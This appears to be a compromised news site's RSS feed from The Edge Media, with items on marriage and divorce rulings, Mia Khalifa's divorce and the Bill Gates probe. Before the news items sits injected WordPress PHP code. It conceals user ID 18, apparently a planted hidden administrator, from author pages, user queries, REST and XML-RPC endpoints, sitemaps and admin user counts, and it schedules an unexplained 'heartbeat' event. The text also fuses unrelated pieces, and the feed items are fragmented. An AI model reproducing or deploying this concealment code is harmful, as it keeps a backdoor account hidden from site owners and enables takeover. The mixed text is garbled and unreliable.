add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Marriage Is Not for Absolute Freedom” – Supreme Court’s Bold Statement on Relationships appeared first on The Edge Media.
]]>The ruling came during a divorce hearing where one partner argued for absolute autonomy in marriage. The court rejected the plea, stating that such expectations go against the very essence of marital life.
The observation has ignited widespread debate. While traditionalists welcomed the statement as a reinforcement of family values, modern voices on social media argued it was out of touch with evolving relationship dynamics.
Legal experts believe the judgment could influence future divorce and maintenance cases, shaping how courts view the balance of freedom and responsibility in marriages.
The post “Marriage Is Not for Absolute Freedom” – Supreme Court’s Bold Statement on Relationships appeared first on The Edge Media.
]]>The post Kerala High Court recognisies martial rape as ground for divorce. appeared first on The Edge Media.
]]>The Supreme Court had, in 2019, turned down a plea to accept martial rape as a ground for divorce. The high court gave its ruling while hearing an appeal filed by a husband against a divorce granted by a family court in 2014.
“Treating wife’s body as something owing to husband and committing sexual act against her will is nothing but martial rape. Right to respect for his or her physical and mental integrity encompasses bodily integrity ; any disrespect or violation of bodily integrity is a violation of Individual autonomy…,” the high court said.
The post Kerala High Court recognisies martial rape as ground for divorce. appeared first on The Edge Media.
]]>The post Mia Khalifa announces divorce from her husband appeared first on The Edge Media.
]]>Mia took to her Instagram account and announced that she has called off her impending reception and said that for almost a year they had been trying to make their married life work, but they fail to overcome the differences. “We can confidently say that We gave everything to make our marriage work, but after almost a year of therapy and efforts we walked away knowing that we have a friend in the other, and that we really tried,” she wrote.

She added, “We will always love and respect each other because we know that it was not an isolated event that caused our breakup, but rather the accumulation of fundamental, irresolvable differences that no one can blame on the other for. We are closing this chapter with no regrets and both starting our own, separately but connected through incredible family, friends, and love for our dogs. This has been long overdue, but we’re glad we took our time and gave it our all, and can walk away saying that we tried our absolute hardest.”
The couple planned to have a wedding ceremony in June 2020, but it was called off due to the Covid-19 pandemic. However, the couple exchanged wedding vows with each other at their house the same month. Both Mia and Robert were set to give a grand reception to their close friends and family post-pandemic. However, their post on separation came as shock for many.
The post Mia Khalifa announces divorce from her husband appeared first on The Edge Media.
]]>The post Bill Gates Sexual Probe With Female Employee: WSJ appeared first on The Edge Media.
]]>In late 2019, a law firm was hired to check on the allegations. Throughout the investigation, the employee raising the concern was provided extensive support by Microsoft. In 2020, the board decided that Gates should step down from the board of directors. When Gates stepped down in March 2020, he mentioned it was to focus on the “philanthropic priorities”. A spokesperson for Gates also clarified that his decision to step down was unrelated to the allegations.
Recently, Bill Gates and his wife Melinda French had also announced their divorce after a marriage of 27 years. The power couple had met when Melinda was an employee at Microsoft. However, they have agreed to work together at their charitable foundation.
— Bill Gates (@BillGates) May 3, 2021
The post Bill Gates Sexual Probe With Female Employee: WSJ appeared first on The Edge Media.
]]>